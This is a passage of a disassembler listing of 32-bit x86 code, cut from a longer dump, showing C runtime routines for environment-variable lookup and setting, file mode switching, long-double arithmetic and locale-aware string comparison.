; sub_425955+79j
pop edi
pop esi
pop ebp
retn
sub_425955 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_425A82 proc near ; CODE XREF: sub_425955+59p
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov ecx, dword_43D028
cmp dword_43CFAC, edx
push esi
mov eax, offset dword_43CFA8
jz short loc_425AB0
lea esi, [ecx+ecx*2]
lea esi, ds:43CFA8h[esi*4]
loc_425AA4: ; CODE XREF: sub_425A82+2Cj
add eax, 0Ch
cmp eax, esi
jnb short loc_425AB0
cmp [eax+4], edx
jnz short loc_425AA4
loc_425AB0: ; CODE XREF: sub_425A82+16j
; sub_425A82+27j
lea ecx, [ecx+ecx*2]
pop esi
lea ecx, ds:43CFA8h[ecx*4]
cmp eax, ecx
jnb short loc_425AC4
cmp [eax+4], edx
jz short locret_425AC6
loc_425AC4: ; CODE XREF: sub_425A82+3Bj
xor eax, eax
locret_425AC6: ; CODE XREF: sub_425A82+40j
retn
sub_425A82 endp
; =============== S U B R O U T I N E =======================================
sub_425AC7 proc near ; CODE XREF: sub_4247EC+23p
arg_0 = dword ptr 4
cmp dword_4DCFF0, 0
push ebx
push esi
mov esi, dword_4DB980
push edi
jz short loc_425B3E
test esi, esi
jnz short loc_425AF8
cmp dword_4DB988, esi
jz short loc_425B3E
call sub_425E95
test eax, eax
jnz short loc_425B3E
mov esi, dword_4DB980
test esi, esi
jz short loc_425B3E
loc_425AF8: ; CODE XREF: sub_425AC7+14j
mov ebx, [esp+0Ch+arg_0]
test ebx, ebx
jz short loc_425B3E
push ebx
call sub_41AFE0
pop ecx
mov edi, eax
loc_425B09: ; CODE XREF: sub_425AC7+6Dj
mov eax, [esi]
test eax, eax
jz short loc_425B3E
push eax
call sub_41AFE0
cmp eax, edi
pop ecx
jbe short loc_425B31
mov eax, [esi]
cmp byte ptr [eax+edi], 3Dh
jnz short loc_425B31
push edi
push ebx
push eax
call sub_425E56
add esp, 0Ch
test eax, eax
jz short loc_425B36
loc_425B31: ; CODE XREF: sub_425AC7+51j
; sub_425AC7+59j
add esi, 4
jmp short loc_425B09
; ---------------------------------------------------------------------------
loc_425B36: ; CODE XREF: sub_425AC7+68j
mov eax, [esi]
lea eax, [eax+edi+1]
jmp short loc_425B40
; ---------------------------------------------------------------------------
loc_425B3E: ; CODE XREF: sub_425AC7+10j
; sub_425AC7+1Cj ...
xor eax, eax
loc_425B40: ; CODE XREF: sub_425AC7+75j
pop edi
pop esi
pop ebx
retn
sub_425AC7 endp
; =============== S U B R O U T I N E =======================================
sub_425B44 proc near ; CODE XREF: sub_424F0A+8Bp
; sub_424F0A+D9p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
cmp eax, dword_4DCDA0
jnb short loc_425BAB
mov ecx, eax
and eax, 1Fh
sar ecx, 5
mov ecx, dword_4DCCA0[ecx*4]
lea edx, [ecx+eax*8+4]
mov cl, [ecx+eax*8+4]
test cl, 1
jz short loc_425BAB
mov al, cl
mov esi, 8000h
and eax, 80h
cmp [esp+4+arg_4], esi
jnz short loc_425B84
and cl, 7Fh
jmp short loc_425B91
; ---------------------------------------------------------------------------
loc_425B84: ; CODE XREF: sub_425B44+39j
cmp [esp+4+arg_4], 4000h
jnz short loc_425B9F
or cl, 80h
loc_425B91: ; CODE XREF: sub_425B44+3Ej
neg eax
sbb eax, eax
mov [edx], cl
and ax, 0C000h
add eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
loc_425B9F: ; CODE XREF: sub_425B44+48j
mov dword_4DB958, 16h
jmp short loc_425BB5
; ---------------------------------------------------------------------------
loc_425BAB: ; CODE XREF: sub_425B44+Bj
; sub_425B44+27j
mov dword_4DB958, 9
loc_425BB5: ; CODE XREF: sub_425B44+65j
or eax, 0FFFFFFFFh
pop esi
retn
sub_425B44 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_425BBA proc near ; CODE XREF: sub_4256C2+165p
; sub_425DDA+69p
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 24h
push ebx
mov ebx, [ebp+arg_4]
push esi
mov esi, [ebp+arg_0]
mov cx, [ebx+0Ah]
xor eax, eax
push edi
mov [ebp+var_14], eax
mov [ebp+var_24], eax
mov [ebp+var_20], eax
mov [ebp+var_1C], eax
mov ax, [esi+0Ah]
mov edi, ecx
mov edx, 7FFFh
xor edi, eax
and eax, edx
and ecx, edx
and edi, 8000h
cmp ax, 7FFFh
lea edx, [ecx+eax]
mov [ebp+arg_0], edx
jnb loc_425DBA
cmp cx, 7FFFh
jnb loc_425DBA
cmp dx, 0BFFDh
ja loc_425DBA
cmp dx, 3FBFh
ja short loc_425C23
xor eax, eax
jmp short loc_425C5D
; ---------------------------------------------------------------------------
loc_425C23: ; CODE XREF: sub_425BBA+63j
test ax, ax
mov edx, 7FFFFFFFh
jnz short loc_425C45
inc [ebp+arg_0]
test [esi+8], edx
jnz short loc_425C45
xor eax, eax
cmp [esi+4], eax
jnz short loc_425C47
cmp [esi], eax
jnz short loc_425C47
jmp loc_425DB4
; ---------------------------------------------------------------------------
loc_425C45: ; CODE XREF: sub_425BBA+71j
; sub_425BBA+79j
xor eax, eax
loc_425C47: ; CODE XREF: sub_425BBA+80j
; sub_425BBA+84j
cmp cx, ax
jnz short loc_425C6A
inc [ebp+arg_0]
test [ebx+8], edx
jnz short loc_425C6A
cmp [ebx+4], eax
jnz short loc_425C6A
cmp [ebx], eax
jnz short loc_425C6A
loc_425C5D: ; CODE XREF: sub_425BBA+67j
mov [esi+8], eax
mov [esi+4], eax
mov [esi], eax
jmp loc_425DD5
; ---------------------------------------------------------------------------
loc_425C6A: ; CODE XREF: sub_425BBA+90j
; sub_425BBA+98j ...
mov [ebp+var_10], eax
lea eax, [ebp+var_20]
mov [ebp+var_4], eax
mov [ebp+arg_4], 5
loc_425C7A: ; CODE XREF: sub_425BBA+122j
mov eax, [ebp+var_10]
add eax, eax
cmp [ebp+arg_4], 0
jle short loc_425CCE
add eax, esi
lea ecx, [ebx+8]
mov [ebp+var_8], eax
mov eax, [ebp+arg_4]
mov [ebp+var_C], ecx
mov [ebp+var_18], eax
loc_425C96: ; CODE XREF: sub_425BBA+112j
mov eax, [ebp+var_8]
mov ecx, [ebp+var_C]
movzx eax, word ptr [eax]
movzx ecx, word ptr [ecx]
imul eax, ecx
mov ecx, [ebp+var_4]
add ecx, 0FFFFFFFCh
push ecx
push eax
push dword ptr [ecx]
call sub_425050
add esp, 0Ch
test eax, eax
jz short loc_425CC1
mov eax, [ebp+var_4]
inc word ptr [eax]
loc_425CC1: ; CODE XREF: sub_425BBA+FFj
add [ebp+var_8], 2
sub [ebp+var_C], 2
dec [ebp+var_18]
jnz short loc_425C96
loc_425CCE: ; CODE XREF: sub_425BBA+C9j
add [ebp+var_4], 2
inc [ebp+var_10]
dec [ebp+arg_4]
cmp [ebp+arg_4], 0
jg short loc_425C7A
add [ebp+arg_0], 0C002h
cmp word ptr [ebp+arg_0], 0
jle short loc_425D11
loc_425CEC: ; CODE XREF: sub_425BBA+14Ej
test byte ptr [ebp+var_1C+3], 80h
jnz short loc_425D0A
lea eax, [ebp+var_24]
push eax
call sub_4250CF
add [ebp+arg_0], 0FFFFh
pop ecx
cmp word ptr [ebp+arg_0], 0
jg short loc_425CEC
loc_425D0A: ; CODE XREF: sub_425BBA+136j
cmp word ptr [ebp+arg_0], 0
jg short loc_425D4A
loc_425D11: ; CODE XREF: sub_425BBA+130j
add [ebp+arg_0], 0FFFFh
cmp word ptr [ebp+arg_0], 0
jge short loc_425D4A
movsx eax, word ptr [ebp+arg_0]
neg eax
add [ebp+arg_0], eax
mov ebx, eax
loc_425D2A: ; CODE XREF: sub_425BBA+184j
test byte ptr [ebp+var_24], 1
jz short loc_425D33
inc [ebp+var_14]
loc_425D33: ; CODE XREF: sub_425BBA+174j
lea eax, [ebp+var_24]
push eax
call sub_4250FD
dec ebx
pop ecx
jnz short loc_425D2A
cmp [ebp+var_14], 0
jz short loc_425D4A
or byte ptr [ebp+var_24], 1
loc_425D4A: ; CODE XREF: sub_425BBA+155j
; sub_425BBA+163j ...
cmp word ptr [ebp+var_24], 8000h
ja short loc_425D61
mov eax, [ebp+var_24]
and eax, 1FFFFh
cmp eax, 18000h
jnz short loc_425D96
loc_425D61: ; CODE XREF: sub_425BBA+196j
cmp [ebp+var_24+2], 0FFFFFFFFh
jnz short loc_425D93
and [ebp+var_24+2], 0
cmp [ebp+var_20+2], 0FFFFFFFFh
jnz short loc_425D8E
and [ebp+var_20+2], 0
cmp word ptr [ebp+var_1C+2], 0FFFFh
jnz short loc_425D88
inc [ebp+arg_0]
mov word ptr [ebp+var_1C+2], 8000h
jmp short loc_425D96
; ---------------------------------------------------------------------------
loc_425D88: ; CODE XREF: sub_425BBA+1C1j
inc word ptr [ebp+var_1C+2]
jmp short loc_425D96
; ---------------------------------------------------------------------------
loc_425D8E: ; CODE XREF: sub_425BBA+1B5j
inc [ebp+var_20+2]
jmp short loc_425D96
; ---------------------------------------------------------------------------
loc_425D93: ; CODE XREF: sub_425BBA+1ABj
inc [ebp+var_24+2]
loc_425D96: ; CODE XREF: sub_425BBA+1A5j
; sub_425BBA+1CCj ...
mov eax, [ebp+arg_0]
cmp ax, 7FFFh
jnb short loc_425DBA
mov cx, word ptr [ebp+var_24+2]
or eax, edi
mov [esi], cx
mov ecx, [ebp+var_20]
mov [esi+2], ecx
mov ecx, [ebp+var_1C]
mov [esi+6], ecx
loc_425DB4: ; CODE XREF: sub_425BBA+86j
mov [esi+0Ah], ax
jmp short loc_425DD5
; ---------------------------------------------------------------------------
loc_425DBA: ; CODE XREF: sub_425BBA+42j
; sub_425BBA+4Dj ...
neg di
sbb edi, edi
and dword ptr [esi+4], 0
and edi, 80000000h
add edi, 7FFF8000h
and dword ptr [esi], 0
mov [esi+8], edi
loc_425DD5: ; CODE XREF: sub_425BBA+ABj
; sub_425BBA+1FEj
pop edi
pop esi
pop ebx
leave
retn
sub_425BBA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_425DDA proc near ; CODE XREF: sub_4251F1+440p
; sub_4256C2+14Cp
var_C = byte ptr -0Ch
var_A = dword ptr -0Ah
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
mov ebx, offset dword_43D4A8
xor ecx, ecx
sub ebx, 60h
cmp [ebp+arg_4], ecx
jz short loc_425E53
jge short loc_425E02
mov eax, [ebp+arg_4]
mov ebx, offset dword_43D608
neg eax
mov [ebp+arg_4], eax
sub ebx, 60h
loc_425E02: ; CODE XREF: sub_425DDA+16j
cmp [ebp+arg_8], ecx
jnz short loc_425E0D
mov eax, [ebp+arg_0]
mov [eax], cx
loc_425E0D: ; CODE XREF: sub_425DDA+2Bj
cmp [ebp+arg_4], ecx
jz short loc_425E53
push esi
push edi
loc_425E14: ; CODE XREF: sub_425DDA+75j
mov eax, [ebp+arg_4]
add ebx, 54h
sar [ebp+arg_4], 3
and eax, 7
cmp eax, ecx
jz short loc_425E4C
lea eax, [eax+eax*2]
cmp word ptr [ebx+eax*4], 8000h
lea esi, [ebx+eax*4]
jb short loc_425E3F
lea edi, [ebp+var_C]
movsd
movsd
movsd
dec [ebp+var_A]
lea esi, [ebp+var_C]
loc_425E3F: ; CODE XREF: sub_425DDA+57j
push esi
push [ebp+arg_0]
call sub_425BBA
pop ecx
pop ecx
xor ecx, ecx
loc_425E4C: ; CODE XREF: sub_425DDA+49j
cmp [ebp+arg_4], ecx
jnz short loc_425E14
pop edi
pop esi
loc_425E53: ; CODE XREF: sub_425DDA+14j
; sub_425DDA+36j
pop ebx
leave
retn
sub_425DDA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_425E56 proc near ; CODE XREF: sub_425AC7+5Ep
; sub_426332+18p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp [ebp+arg_8], 0
jnz short loc_425E63
xor eax, eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_425E63: ; CODE XREF: sub_425E56+7j
push dword_4DCDA4
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_8]
push [ebp+arg_0]
push 1
push dword_4DCFC4
call sub_425F03
add esp, 1Ch
test eax, eax
jnz short loc_425E90
mov eax, 7FFFFFFFh
pop ebp
retn
; ---------------------------------------------------------------------------
loc_425E90: ; CODE XREF: sub_425E56+31j
add eax, 0FFFFFFFEh
pop ebp
retn
sub_425E56 endp
; =============== S U B R O U T I N E =======================================
sub_425E95 proc near ; CODE XREF: sub_425AC7+1Ep
; sub_4261AB+5Bp
var_4 = dword ptr -4
push ecx
push ebx
push ebp
push esi
mov esi, dword_4DB988
push edi
xor edi, edi
mov eax, [esi]
cmp eax, edi
jz short loc_425EF6
mov ebx, dword_42717C
loc_425EAE: ; CODE XREF: sub_425E95+5Fj
push edi
push edi
push edi
push edi
push 0FFFFFFFFh
push eax
push edi
push 1
call ebx
mov ebp, eax
cmp ebp, edi
jz short loc_425EFE
push ebp
call sub_41B4D5
cmp eax, edi
pop ecx
mov [esp+14h+var_4], eax
jz short loc_425EFE
push edi
push edi
push ebp
push eax
push 0FFFFFFFFh
push dword ptr [esi]
push edi
push 1
call ebx
test eax, eax
jz short loc_425EFE
push edi
push [esp+18h+var_4]
call sub_4261AB
mov eax, [esi+4]
add esi, 4
pop ecx
cmp eax, edi
pop ecx
jnz short loc_425EAE
loc_425EF6: ; CODE XREF: sub_425E95+11j
xor eax, eax
loc_425EF8: ; CODE XREF: sub_425E95+6Cj
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_425EFE: ; CODE XREF: sub_425E95+29j
; sub_425E95+38j ...
or eax, 0FFFFFFFFh
jmp short loc_425EF8
sub_425E95 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_425F03 proc near ; CODE XREF: sub_425E56+27p
var_3C = dword ptr -3Ch
var_36 = byte ptr -36h
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_427CE8
push offset sub_4234B8
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push ebx
push esi
push edi
mov [ebp+var_18], esp
xor ebx, ebx
cmp dword_4DBC68, ebx
push 1
pop edi
jnz short loc_425F76
push edi
mov eax, offset dword_427938
push eax
push edi
push eax
push ebx
push ebx
nop
call near ptr 25E0000h
test eax, eax
jz short loc_425F53
mov dword_4DBC68, edi
jmp short loc_425F76
; ---------------------------------------------------------------------------
loc_425F53: ; CODE XREF: sub_425F03+46j
push edi
mov eax, offset dword_4CB50C
push eax
push edi
push eax
push ebx
push ebx
nop
call near ptr 25E06EEh
test eax, eax
jz loc_42616C
mov dword_4DBC68, 2
loc_425F76: ; CODE XREF: sub_425F03+31j
; sub_425F03+4Ej
mov esi, [ebp+arg_C]
cmp esi, ebx
jle short loc_425F8D
push esi
push [ebp+arg_8]
call sub_426180
pop ecx
pop ecx
mov esi, eax
mov [ebp+arg_C], esi
loc_425F8D: ; CODE XREF: sub_425F03+78j
cmp [ebp+arg_14], ebx
jle short loc_425FA2
push [ebp+arg_14]
push [ebp+arg_10]
call sub_426180
pop ecx
pop ecx
mov [ebp+arg_14], eax
loc_425FA2: ; CODE XREF: sub_425F03+8Dj
mov eax, dword_4DBC68
cmp eax, 2
jnz short loc_425FC7
push [ebp+arg_14]
push [ebp+arg_10]
push esi
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call near ptr 25E06EEh
nop
jmp loc_42616E
; ---------------------------------------------------------------------------
loc_425FC7: ; CODE XREF: sub_425F03+A7j
cmp eax, edi
jnz loc_42616C
cmp [ebp+arg_18], ebx
jnz short loc_425FDC
mov eax, dword_4DBA24
mov [ebp+arg_18], eax
loc_425FDC: ; CODE XREF: sub_425F03+CFj
cmp esi, ebx
jz short loc_425FE9
cmp [ebp+arg_14], ebx
jnz loc_426081
loc_425FE9: ; CODE XREF: sub_425F03+DBj
cmp esi, [ebp+arg_14]
jnz short loc_425FF6
loc_425FEE: ; CODE XREF: sub_425F03+13Cj
; sub_425F03+16Dj
push 2
loc_425FF0: ; CODE XREF: sub_425F03+146j
pop eax
jmp loc_42616E
; ---------------------------------------------------------------------------
loc_425FF6: ; CODE XREF: sub_425F03+E9j
cmp [ebp+arg_14], edi
jle short loc_426002
loc_425FFB: ; CODE XREF: sub_425F03+151j
; sub_425F03+159j ...
mov eax, edi
jmp loc_42616E
; ---------------------------------------------------------------------------
loc_426002: ; CODE XREF: sub_425F03+F6j
cmp esi, edi
jg short loc_426047
lea eax, [ebp+var_3C]
push eax
push [ebp+arg_18]
nop
call near ptr 28B0000h
test eax, eax
jz loc_42616C
cmp esi, ebx
jle short loc_42604B
cmp [ebp+var_3C], 2
jb short loc_426047
lea eax, [ebp+var_36]
cmp [ebp+var_36], bl
jz short loc_426047
loc_42602D: ; CODE XREF: sub_425F03+142j
mov dl, [eax+1]
cmp dl, bl
jz short loc_426047
mov ecx, [ebp+arg_8]
mov cl, [ecx]
cmp cl, [eax]
jb short loc_426041
cmp cl, dl
jbe short loc_425FEE
loc_426041: ; CODE XREF: sub_425F03+138j
inc eax
inc eax
cmp [eax], bl
jnz short loc_42602D
loc_426047: ; CODE XREF: sub_425F03+101j
; sub_425F03+120j ...
push 3
jmp short loc_425FF0
; ---------------------------------------------------------------------------
loc_42604B: ; CODE XREF: sub_425F03+11Aj
cmp [ebp+arg_14], ebx
jle short loc_426081
cmp [ebp+var_3C], 2
jb short loc_425FFB
lea eax, [ebp+var_36]
cmp [ebp+var_36], bl
jz short loc_425FFB
loc_42605E: ; CODE XREF: sub_425F03+177j
mov dl, [eax+1]
cmp dl, bl
jz short loc_425FFB
mov ecx, [ebp+arg_10]
mov cl, [ecx]
cmp cl, [eax]
jb short loc_426076
cmp cl, dl
jbe loc_425FEE
loc_426076: ; CODE XREF: sub_425F03+169j
inc eax
inc eax
cmp [eax], bl
jnz short loc_42605E
jmp loc_425FFB
; ---------------------------------------------------------------------------
loc_426081: ; CODE XREF: sub_425F03+E0j
; sub_425F03+14Bj
push ebx
push ebx
push esi
push [ebp+arg_8]
push 9
push [ebp+arg_18]
nop
call near ptr 2810000h
mov [ebp+var_1C], eax
cmp eax, ebx
jz loc_42616C
mov [ebp+var_4], ebx
add eax, eax
add eax, 3
and al, 0FCh
call sub_41BB20
mov [ebp+var_18], esp
mov eax, esp
mov [ebp+var_24], eax
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_4260D0
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor ebx, ebx
mov [ebp+var_24], ebx
or [ebp+var_4], 0FFFFFFFFh
mov esi, [ebp+arg_C]
push 1
pop edi
loc_4260D0: ; CODE XREF: sub_425F03+1B5j
cmp [ebp+var_24], ebx
jz loc_42616C
push [ebp+var_1C]
push [ebp+var_24]
push esi
push [ebp+arg_8]
push edi
push [ebp+arg_18]
mov esi, dword_427180
call esi
test eax, eax
jz short loc_42616C
push ebx
push ebx
push [ebp+arg_14]
push [ebp+arg_10]
push 9
push [ebp+arg_18]
call esi
mov esi, eax
mov [ebp+var_20], esi
cmp esi, ebx
jz short loc_42616C
mov [ebp+var_4], edi
lea eax, [esi+esi]
add eax, 3
and al, 0FCh
call sub_41BB20
mov [ebp+var_18], esp
mov edi, esp
mov [ebp+var_28], edi
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_42613B
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor ebx, ebx
xor edi, edi
or [ebp+var_4], 0FFFFFFFFh
mov esi, [ebp+var_20]
loc_42613B: ; CODE XREF: sub_425F03+224j
cmp edi, ebx
jz short loc_42616C
push esi
push edi
push [ebp+arg_14]
push [ebp+arg_10]
push 1
push [ebp+arg_18]
nop
call near ptr 2810000h
test eax, eax
jz short loc_42616C
push esi
push edi
push [ebp+var_1C]
push [ebp+var_24]
push [ebp+arg_4]
push [ebp+arg_0]
nop
call near ptr 25E0000h
jmp short loc_42616E
; ---------------------------------------------------------------------------
loc_42616C: ; CODE XREF: sub_425F03+63j
; sub_425F03+C6j ...
xor eax, eax
loc_42616E: ; CODE XREF: sub_425F03+BFj
; sub_425F03+EEj ...
lea esp, [ebp-4Ch]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_425F03 endp
; =============== S U B R O U T I N E =======================================
sub_426180 proc near ; CODE XREF: sub_422ACA+81p
; sub_425F03+7Ep ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_4]
mov eax, [esp+arg_0]
test edx, edx
push esi
lea ecx, [edx-1]
jz short loc_42619D
loc_426190: ; CODE XREF: sub_426180+1Bj
cmp byte ptr [eax], 0
jz short loc_42619D
inc eax
mov esi, ecx
dec ecx
test esi, esi
jnz short loc_426190
loc_42619D: ; CODE XREF: sub_426180+Ej
; sub_426180+13j
cmp byte ptr [eax], 0
pop esi
jnz short loc_4261A8
sub eax, [esp+arg_0]
retn
; ---------------------------------------------------------------------------
loc_4261A8: ; CODE XREF: sub_426180+21j
mov eax, edx
retn
sub_426180 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4261AB proc near ; CODE XREF: sub_425E95+50p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
xor edi, edi
cmp [ebp+arg_0], edi
jz short loc_42620F
push 3Dh
push [ebp+arg_0]
call sub_4263F1
mov esi, eax
pop ecx
cmp esi, edi
pop ecx
mov [ebp+var_8], esi
jz short loc_42620F
cmp [ebp+arg_0], esi
jz short loc_42620F
mov eax, dword_4DB980
xor ebx, ebx
cmp [esi+1], bl
setz bl
cmp eax, dword_4DB984
jnz short loc_4261F5
push eax
call sub_42638A
pop ecx
mov dword_4DB980, eax
loc_4261F5: ; CODE XREF: sub_4261AB+3Cj
cmp eax, edi
jnz short loc_42624D
cmp [ebp+arg_4], edi
jz short loc_426217
cmp dword_4DB988, edi
jz short loc_426217
call sub_425E95
test eax, eax
jz short loc_42624D
loc_42620F: ; CODE XREF: sub_4261AB+Dj
; sub_4261AB+22j ...
or eax, 0FFFFFFFFh
loc_426212: ; CODE XREF: sub_4261AB+182j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_426217: ; CODE XREF: sub_4261AB+51j
; sub_4261AB+59j
cmp ebx, edi
jnz loc_42632B
push 4
call sub_41B4D5
cmp eax, edi
pop ecx
mov dword_4DB980, eax
jz short loc_42620F
mov [eax], edi
cmp dword_4DB988, edi
jnz short loc_42624D
push 4
call sub_41B4D5
cmp eax, edi
pop ecx
mov dword_4DB988, eax
jz short loc_42620F
mov [eax], edi
loc_42624D: ; CODE XREF: sub_4261AB+4Cj
; sub_4261AB+62j ...
sub esi, [ebp+arg_0]
mov edi, dword_4DB980
mov [ebp+var_4], edi
push esi
push [ebp+arg_0]
call sub_426332
mov esi, eax
pop ecx
test esi, esi
pop ecx
jl short loc_4262AD
cmp dword ptr [edi], 0
jz short loc_4262AD
test ebx, ebx
jz short loc_4262A5
push dword ptr [edi+esi*4]
lea edi, [edi+esi*4]
call sub_41B0B1
pop ecx
loc_42627F: ; CODE XREF: sub_4261AB+E2j
cmp dword ptr [edi], 0
jz short loc_42628F
mov eax, [edi+4]
inc esi
mov [edi], eax
add edi, 4
jmp short loc_42627F
; ---------------------------------------------------------------------------
loc_42628F: ; CODE XREF: sub_4261AB+D7j
mov eax, esi
shl eax, 2
push eax
push [ebp+var_4]
call sub_41B202
pop ecx
test eax, eax
pop ecx
jz short loc_4262DF
jmp short loc_4262DA
; ---------------------------------------------------------------------------
loc_4262A5: ; CODE XREF: sub_4261AB+C6j
mov eax, [ebp+arg_0]
mov [edi+esi*4], eax
jmp short loc_4262DF
; ---------------------------------------------------------------------------
loc_4262AD: ; CODE XREF: sub_4261AB+BDj
; sub_4261AB+C2j
test ebx, ebx
jnz short loc_42632B
test esi, esi
jge short loc_4262B7
neg esi
loc_4262B7: ; CODE XREF: sub_4261AB+108j
lea eax, ds:8[esi*4]
push eax
push edi
call sub_41B202
pop ecx
test eax, eax
pop ecx
jz loc_42620F
mov ecx, [ebp+arg_0]
mov [eax+esi*4], ecx
and dword ptr [eax+esi*4+4], 0
loc_4262DA: ; CODE XREF: sub_4261AB+F8j
mov dword_4DB980, eax
loc_4262DF: ; CODE XREF: sub_4261AB+F6j
; sub_4261AB+100j
cmp [ebp+arg_4], 0
jz short loc_42632B
push [ebp+arg_0]
call sub_41AFE0
inc eax
inc eax
push eax
call sub_41B4D5
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_42632B
push [ebp+arg_0]
push esi
call sub_41BEB0
mov eax, esi
pop ecx
sub eax, [ebp+arg_0]
pop ecx
add eax, [ebp+var_8]
and byte ptr [eax], 0
inc eax
neg ebx
sbb ebx, ebx
not ebx
and ebx, eax
push ebx
push esi
nop
call near ptr 25D0000h
push esi
call sub_41B0B1
pop ecx
loc_42632B: ; CODE XREF: sub_4261AB+6Ej
; sub_4261AB+104j ...
xor eax, eax
jmp loc_426212
sub_4261AB endp
; =============== S U B R O U T I N E =======================================
sub_426332 proc near ; CODE XREF: sub_4261AB+B2p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, dword_4DB980
push edi
mov eax, [esi]
test eax, eax
jz short loc_42636D
mov edi, [esp+8+arg_4]
loc_426344: ; CODE XREF: sub_426332+39j
push edi
push eax
push [esp+10h+arg_0]
call sub_425E56
add esp, 0Ch
test eax, eax
jnz short loc_426363
mov eax, [esi]
mov al, [eax+edi]
cmp al, 3Dh
jz short loc_42637D
test al, al
jz short loc_42637D
loc_426363: ; CODE XREF: sub_426332+22j
mov eax, [esi+4]
add esi, 4
test eax, eax
jnz short loc_426344
loc_42636D: ; CODE XREF: sub_426332+Cj
mov eax, esi
sub eax, dword_4DB980
sar eax, 2
neg eax
loc_42637A: ; CODE XREF: sub_426332+56j
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_42637D: ; CODE XREF: sub_426332+2Bj
; sub_426332+2Fj
mov eax, esi
sub eax, dword_4DB980
sar eax, 2
jmp short loc_42637A
sub_426332 endp
; =============== S U B R O U T I N E =======================================
sub_42638A proc near ; CODE XREF: sub_4261AB+3Fp
arg_0 = dword ptr 4
push edi
mov edi, [esp+4+arg_0]
xor ecx, ecx
test edi, edi
jnz short loc_426399
xor eax, eax
pop edi
retn
; ---------------------------------------------------------------------------
loc_426399: ; CODE XREF: sub_42638A+9j
cmp dword ptr [edi], 0
lea eax, [edi+4]
jz short loc_4263AB
loc_4263A1: ; CODE XREF: sub_42638A+1Fj
mov edx, [eax]
inc ecx
add eax, 4
test edx, edx
jnz short loc_4263A1
loc_4263AB: ; CODE XREF: sub_42638A+15j
push ebx
push ebp
lea eax, ds:4[ecx*4]
push esi
push eax
call sub_41B4D5
mov esi, eax
pop ecx
test esi, esi
mov ebp, esi
jnz short loc_4263CC
push 9
call sub_41DA29
pop ecx
loc_4263CC: ; CODE XREF: sub_42638A+38j
mov eax, [edi]
mov ebx, edi
loc_4263D0: ; CODE XREF: sub_42638A+5Bj
test eax, eax
jz short loc_4263E7
push eax
add ebx, 4
call sub_426464
mov [esi], eax
mov eax, [ebx]
pop ecx
add esi, 4
jmp short loc_4263D0
; ---------------------------------------------------------------------------
loc_4263E7: ; CODE XREF: sub_42638A+48j
and dword ptr [esi], 0
mov eax, ebp
pop esi
pop ebp
pop ebx
pop edi
retn
sub_42638A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4263F1 proc near ; CODE XREF: sub_4261AB+14p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
cmp dword_4DCDBC, 0
jnz short loc_42640C
push [ebp+arg_4]
push [ebp+arg_0]
call sub_41BFB0
pop ecx
pop ecx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_42640C: ; CODE XREF: sub_4263F1+Aj
mov ecx, [ebp+arg_0]
loc_42640F: ; CODE XREF: sub_4263F1+56j
movzx ax, byte ptr [ecx]
test ax, ax
jz short loc_426452
movzx edx, al
test byte_4DCEC1[edx], 4
jz short loc_42643E
mov dl, [ecx+1]
inc ecx
test dl, dl
jz short loc_426449
movzx eax, ax
movzx edx, dl
shl eax, 8
or eax, edx
cmp [ebp+arg_4], eax
jz short loc_42644D
jmp short loc_426446
; ---------------------------------------------------------------------------
loc_42643E: ; CODE XREF: sub_4263F1+31j
movzx edx, ax
cmp [ebp+arg_4], edx
jz short loc_426452
loc_426446: ; CODE XREF: sub_4263F1+4Bj
inc ecx
jmp short loc_42640F
